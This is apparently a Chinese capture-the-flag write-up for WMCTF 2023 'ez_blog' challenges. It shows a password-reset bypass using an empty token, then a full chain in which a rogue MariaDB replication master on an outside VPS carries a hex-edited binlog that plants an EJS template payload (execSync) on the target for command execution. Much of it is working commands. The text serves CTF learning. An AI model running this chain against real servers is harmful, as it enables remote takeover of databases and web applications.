ez_blog

wp1 wp2

下载附件 然后开始对app.js进行审计

这里app.js里给了注释 看起来还是比较好看的

你的权限放着我来

先进行注册

登录后查看源码 给了一些提示和邮箱

image-20230821111603047

经过测试发现密码找回功能能够收到邮件

收到邮件后访问该链接进行抓包 然后访问该api接口进行密码修改

image-20230821112142983

image-20230821112330226

这里的话email换成前面给的固定的那几个邮箱 一个一个试就可以 token得为空 不然会失败

ez_blog2

这里主要是记录一下主从复制怎么打

https://www.yuque.com/dat0u/ctf/llicuvep2fhtx77i

上面是参考链接和题目的地址

(这里就差不多照抄一遍吧 方便以后自己好查)

题目启动脚本

1
docker run -it -d -p 12345:3000 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/wmctf2023_ezblog2

进入容器后

访问/home/ezblog/.pm2/logs cat main-out.log

获取到pin之后 直接访问console控制台

image-20231027202601903

这里的sql执行指令的话是由waf的 不能执行 into outfile (过滤了)

这里记录个小技巧 outfile被过滤之后 我们可以使用dumpfile来进行替代

远程vps上启动一个和题目一样版本的MariaDB:

  • root密码设置为123456
  • 容器名字设置为some-mariadb,后面会用到这个容器名字(当然直接用容器ID也行,这里为了WriteUp的完整性就设置了估计容器名字)
  • 把内部的3306端口映射到外部53306端口
1
docker run -it -d --name some-mariadb --env MARIADB_USER=ctf --env MARIADB_PASSWORD=ctf --env MARIADB_ROOT_PASSWORD=123456 -p 53306:3306 mariadb:10.9.8

(记得开放端口 并且这里的mariadb要懂得变化 根据题目给的版本来进行替换)

进入容器内部,执行一下命令换源并安装vim命令,方便后面改配置

1
2
3
sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
apt update
apt install -y vim

修改/etc/mysql/mariadb.conf.d/50-server.cnf文件,添加以下内容,开启binlog

1
2
3
4
server_id = 100
secure_file_priv =
log-bin = mysql-bin
binlog_format = MIXED

image-20231027203032004

重启容器,使上方配置生效

1
docker restart some-mariadb

进入容器,执行以下命令:

  1. 进入mysql终端
  2. 关闭主服务器的CRC32校验
  3. 删除所有二进制日志
  4. 创建一个数据库
  5. 创建一个表
  6. 插入一个值
1
2
3
4
5
6
7
8
9
10
11
mysql -uroot -p123456
set global binlog_checksum=0;
reset master;
create database test;
create table test.employees(
id INT,
name VARCHAR(100),
age INT
);
use test;
INSERT INTO employees(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);

这里创建表,插入字段的原因是,binlog只会记录INSERT、UPDATE、DELETE等修改数据的语句,不会记录SELECT、SHOW等不影响数据的语句

INSERT语句的长度,需要与SELECT语句的长度一样,这里的SELECT语句写入模板文件

(这个插入语句的长短也是根据题目来进行变通的)

1
2
INSERT INTO employees(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);
SELECT "<%= global.process.mainModule.require('child_process').execSync('/readflag').toString(); %>" into outfile "/home/ezblog/views/114.ejs";

我们可以在/var/lib/mysql目录中看到生成的mysql-bin.000001

image-20231027203224080

将该文件从容器中复制出来,下载到本地修改

1
docker cp some-mariadb:/var/lib/mysql/mysql-bin.000001 .

在本地使用010 Editor修改

image-20231027203310595

将原来的insert给替换掉

把修改之后的文件复制到原本的位置

1
docker cp mysql-bin.000001 some-mariadb:/var/lib/mysql/mysql-bin.000001

最后在靶机的sql execute出执行命令

  1. 创建mysql数据库
  2. 创建主从复制所需用到的表
  3. 设置题目靶机的主服务器地址及账号密码
  4. 启动主从复制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
CREATE DATABASE mysql;

CREATE TABLE mysql.gtid_slave_pos (
`domain_id` int(10) unsigned NOT NULL,
`sub_id` bigint(20) unsigned NOT NULL,
`server_id` int(10) unsigned NOT NULL,
`seq_no` bigint(20) unsigned NOT NULL,
PRIMARY KEY (`domain_id`,`sub_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Replication slave GTID position';

CHANGE MASTER TO
MASTER_HOST='101.42.39.110',
MASTER_PORT=53306,
MASTER_USER='root',
MASTER_PASSWORD='123456',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=0;

START SLAVE;

在启动主从复制之后,题目靶机会同步mysql-bin.000001并执行里面的SQL语句,此时我们的恶意模板就写到了指定位置,再解析该模板即可执行任意命令,得到flag

image-20231027203457677